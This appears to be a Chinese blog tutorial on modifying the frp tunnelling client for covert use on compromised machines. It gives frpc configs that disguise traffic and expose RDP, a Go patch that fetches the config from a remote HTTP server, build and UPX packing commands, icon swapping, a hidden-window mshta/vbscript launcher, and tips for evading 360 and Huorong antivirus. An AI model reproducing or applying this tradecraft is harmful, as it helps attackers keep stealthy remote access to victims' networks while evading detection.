frp改造

  • .ini配置文件泄露服务器信息
  • frp 建立 TLS 连接的第一个字节为 0x17
  • 客户端的留存的配置文件较敏感

去除特征值

  • 通过配置文件加密压缩数据,达到去除流量特征的目的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
server_addr = 192.168.205.137
server_port = 7000
token = 123456
tls_enable = true
use_encryption = true
use_compression = true
protocol = websocket

[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7001
  • 使用tls: tls_enable = true
  • 压缩数据: use_compression = true。
  • 使用websocket通信: protocol = websocket

tls特征

  • 非TLS特征明显
1
frpc.ini 加入tls_enable = true

从 v0.25.0 版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输。通过在 frpc.ini 的 common 中配置 tlsenable = true 来启用此功能,安全性更高。为了端口复用,frp 建立 TLS 连接的第一个字节为 0x17。通过将 frps.ini 的 [common] 中 tlsonly 设置为 true,可以强制 frps 只接受 TLS 连接。

支持http远程加载配置文件

配置文件留在客户端不安全,且麻烦,也难以部署等等

通常来说我们的跳板机都是默认可以访问到我们部署的服务端的,

那么为什么我们不采取远程加载配置文件的方式呢?

ex:frpc -c http://xq17.org/frpc.ini

这种方式当然也是兼容原来指定本地路径的,也就是说原生功能并不影响。

这种方案好处如下:

1.考虑安全性,可以考虑采取对配置文件进行异或,笔者觉得这个没啥用,你们可以自己发挥

2.针对1,我建议的是,执行成功之后,直接关掉你的远程配置文件就行了,没有那么多花里胡哨的。

代码如下:

记得引入一下net/http的库

models/config/value.go修改其中函数为如下(版本0.37.1):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
func GetRenderedConfFromFile(path string) (out []byte, err error) {
var b []byte
rawUrl := path
if strings.Index(rawUrl, "http") != -1 {
log.Info("http schema")
response, _err1 := http.Get(path)
if _err1 != nil {
panic(_err1)
}
defer response.Body.Close()
b, _err := ioutil.ReadAll(response.Body)
if _err != nil {
return
}
out, err = RenderContent(b)
return

} else {
log.Info("local path")
b, err = ioutil.ReadFile(path)
if err != nil {
return
}
out, err = RenderContent(b)
return
}
}

image-20210925161919691

编译生成

1
go build -o win64fp-http.exe main.go

更改图标、界面

打开需要更改的exe文件

image-20210925162428591

选择需要加载的ico图标

image-20210925162534366

加载完点击保存图标,即可

image-20210925162631651

upx压缩加壳

使用upx压缩体积

1
upx.exe -9 win64fp-http.exe

image-20210925162817809

运行测试

  • windows后台运行的bat参考代码
1
2
3
4
5
@echo off 
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
c:\frpc.exe -c c:\frpc.ini
  • cmd
1
win64fpc-http.exe -c  http://192.168.205.137:8081/frpc.ini

image-20210925164222061

image-20210925164452415

image-20210925164518739

使用360&火绒检测,本文写于2021.9.25下午,此时frp还未被查杀,如果查杀根据我下面给出的思路,进行免杀。别上传云查杀了,要不然直接给你秒了。

  • 添加图片,添加无用资源。
  • 变换upx压缩的级别
  • 修改upx压缩特征

image-20210925163225297